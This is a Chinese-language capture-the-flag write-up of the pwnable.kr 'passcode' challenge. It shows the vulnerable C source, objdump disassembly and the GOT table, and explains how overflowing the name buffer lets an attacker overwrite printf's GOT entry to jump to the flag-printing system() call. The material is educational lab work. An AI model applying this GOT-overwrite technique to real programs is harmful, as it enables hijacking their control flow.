前段時間找到一個練習pwn的網站,pwnable.kr
這里記錄其中的passcode的做題過程,給自己加深印象。
廢話不多說了,看一下題目,
看到題目,就ssh連接進去,就看到三個文件如下
看了一下我們的用戶名,並不能直接查看flag這個文件。查看passcode.c的源碼看一下
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); //這里沒有加取地址符號 fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); //這里沒有加取地址符號 printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); //這里連續調用了兩個函數 // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
可以看到整個程序的流程很簡單,就是要我們輸入兩個數,讓這兩個數等於特定的數,就輸出flag的內容,但是根據她的提示,程序有問題,可以直接使用gcc來嘗試編譯一下,就發現在登錄函數里,對於兩個passcode的值沒有加上取地址符號,這將會導致scanf把passcode1和passcode2中的值作為存儲輸入的地址,如果地址不可寫,就會造成一個內存錯誤。這樣我們直接輸入特定的值肯定不行了。。。。這里我們看一下這個程序的防護
程序有棧溢出保護和NX(數據執行保護)看了大牛的wp之后,知道關鍵點在welcome這里,因為welcome這里開了一個有點大的數組,有沒有可能改變login中passcode1或passcode2的值,因為welcome和login這兩個函數是連續調用的,導致他們擁有相同的棧底。我們看一下passcode的反匯編代碼。。objdump -d passcode
08048564 <login>: //這里是login函數 8048564: 55 push %ebp 8048565: 89 e5 mov %esp,%ebp 8048567: 83 ec 28 sub $0x28,%esp //分配棧空間 804856a: b8 70 87 04 08 mov $0x8048770,%eax 804856f: 89 04 24 mov %eax,(%esp) 8048572: e8 a9 fe ff ff call 8048420 <printf@plt> 8048577: b8 83 87 04 08 mov $0x8048783,%eax 804857c: 8b 55 f0 mov -0x10(%ebp),%edx //看到這里是passcode1的內容作為參數傳遞給scanf 804857f: 89 54 24 04 mov %edx,0x4(%esp) 8048583: 89 04 24 mov %eax,(%esp) 8048586: e8 15 ff ff ff call 80484a0 <__isoc99_scanf@plt> 804858b: a1 2c a0 04 08 mov 0x804a02c,%eax 8048590: 89 04 24 mov %eax,(%esp) 8048593: e8 98 fe ff ff call 8048430 <fflush@plt> 8048598: b8 86 87 04 08 mov $0x8048786,%eax 804859d: 89 04 24 mov %eax,(%esp) 80485a0: e8 7b fe ff ff call 8048420 <printf@plt> 80485a5: b8 83 87 04 08 mov $0x8048783,%eax 80485aa: 8b 55 f4 mov -0xc(%ebp),%edx //這里是passcode2的內容作為參數傳遞給scanf 80485ad: 89 54 24 04 mov %edx,0x4(%esp) 80485b1: 89 04 24 mov %eax,(%esp) 80485b4: e8 e7 fe ff ff call 80484a0 <__isoc99_scanf@plt> 80485b9: c7 04 24 99 87 04 08 movl $0x8048799,(%esp) 80485c0: e8 8b fe ff ff call 8048450 <puts@plt> 80485c5: 81 7d f0 e6 28 05 00 cmpl $0x528e6,-0x10(%ebp) //第一個比較 80485cc: 75 23 jne 80485f1 <login+0x8d> 80485ce: 81 7d f4 c9 07 cc 00 cmpl $0xcc07c9,-0xc(%ebp) //第二個比較 80485d5: 75 1a jne 80485f1 <login+0x8d> 80485d7: c7 04 24 a5 87 04 08 movl $0x80487a5,(%esp) 80485de: e8 6d fe ff ff call 8048450 <puts@plt> 80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp) 80485ea: e8 71 fe ff ff call 8048460 <system@plt> //執行系統命令,關鍵點 80485ef: c9 leave 80485f0: c3 ret 80485f1: c7 04 24 bd 87 04 08 movl $0x80487bd,(%esp) 80485f8: e8 53 fe ff ff call 8048450 <puts@plt> 80485fd: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048604: e8 77 fe ff ff call 8048480 <exit@plt> 08048609 <welcome>: 8048609: 55 push %ebp 804860a: 89 e5 mov %esp,%ebp 804860c: 81 ec 88 00 00 00 sub $0x88,%esp 8048612: 65 a1 14 00 00 00 mov %gs:0x14,%eax 8048618: 89 45 f4 mov %eax,-0xc(%ebp) 804861b: 31 c0 xor %eax,%eax 804861d: b8 cb 87 04 08 mov $0x80487cb,%eax 8048622: 89 04 24 mov %eax,(%esp) 8048625: e8 f6 fd ff ff call 8048420 <printf@plt> 804862a: b8 dd 87 04 08 mov $0x80487dd,%eax 804862f: 8d 55 90 lea -0x70(%ebp),%edx //name的地址 8048632: 89 54 24 04 mov %edx,0x4(%esp) 8048636: 89 04 24 mov %eax,(%esp) 8048639: e8 62 fe ff ff call 80484a0 <__isoc99_scanf@plt> 804863e: b8 e3 87 04 08 mov $0x80487e3,%eax 8048643: 8d 55 90 lea -0x70(%ebp),%edx 8048646: 89 54 24 04 mov %edx,0x4(%esp) 804864a: 89 04 24 mov %eax,(%esp) 804864d: e8 ce fd ff ff call 8048420 <printf@plt> 8048652: 8b 45 f4 mov -0xc(%ebp),%eax 8048655: 65 33 05 14 00 00 00 xor %gs:0x14,%eax 804865c: 74 05 je 8048663 <welcome+0x5a> 804865e: e8 dd fd ff ff call 8048440 <__stack_chk_fail@plt> 8048663: c9 leave 8048664: c3 ret 08048665 <main>: 8048665: 55 push %ebp 8048666: 89 e5 mov %esp,%ebp 8048668: 83 e4 f0 and $0xfffffff0,%esp 804866b: 83 ec 10 sub $0x10,%esp 804866e: c7 04 24 f0 87 04 08 movl $0x80487f0,(%esp) 8048675: e8 d6 fd ff ff call 8048450 <puts@plt> 804867a: e8 8a ff ff ff call 8048609 <welcome> 804867f: e8 e0 fe ff ff call 8048564 <login> //連續調用,導致棧底是相同的 8048684: c7 04 24 18 88 04 08 movl $0x8048818,(%esp) 804868b: e8 c0 fd ff ff call 8048450 <puts@plt> 8048690: b8 00 00 00 00 mov $0x0,%eax 8048695: c9 leave 8048696: c3 ret 8048697: 90 nop 8048698: 90 nop 8048699: 90 nop 804869a: 90 nop 804869b: 90 nop 804869c: 90 nop 804869d: 90 nop 804869e: 90 nop 804869f: 90 nop
從上面我們看到,因為welcome和login的棧底相同,看到name的地址在ebp-0x70, 而passcode1的地址在ebp-0x10, 0x70 == 112, 0x10 == 16
所以0x70-0x10 == 0x60 == 96,所以我們可以看到name的最后四個字節就是passcode1的值,所以我們可以利用welcome來改變passcode1的值,
因為程序開啟了棧溢出保護,所以我們不能再繼續增加name的輸入來改變passcode2的值(如果能改,直接改為兩個特定數就可以了,但這里不行)。
從大牛的WP知道,這里我們要使用的是一種GOT表復寫的技術,GOT表就是一個函數指針數組(具體搜索),我們看到程序在我們輸入之后會調用pritnf函數,
所以我們可以將passcode1的值改為printf的地址,然后接下來會通過scanf將上面的關鍵系統命令的地址寫進去,改變整個程序的執行過程,當程序調用
printf函數的時候,由於它的地址已經被改變了,所以會跳到關鍵系統命令的地方去。
80485e3: c7 04 24 af 87 04 08 movl $0x80487af,(%esp) 80485ea: e8 71 fe ff ff call 8048460 <system@plt>
所以我們要知道printf的got地址,然后將它的地址改為 0x080485ea這個關鍵的地方。使用objdump -R passcode來看一下GOT表
passcode@ubuntu:~$ objdump -R passcode passcode: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a02c R_386_COPY stdin@@GLIBC_2.0 0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 //printf的地址 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
我這里使用pwntools這個包來寫利用腳本。因為scanf是要求%d輸入,所以0x080485ea == 134514154
最后就看到flag了。。。。。。。。
--好好學習,天天向上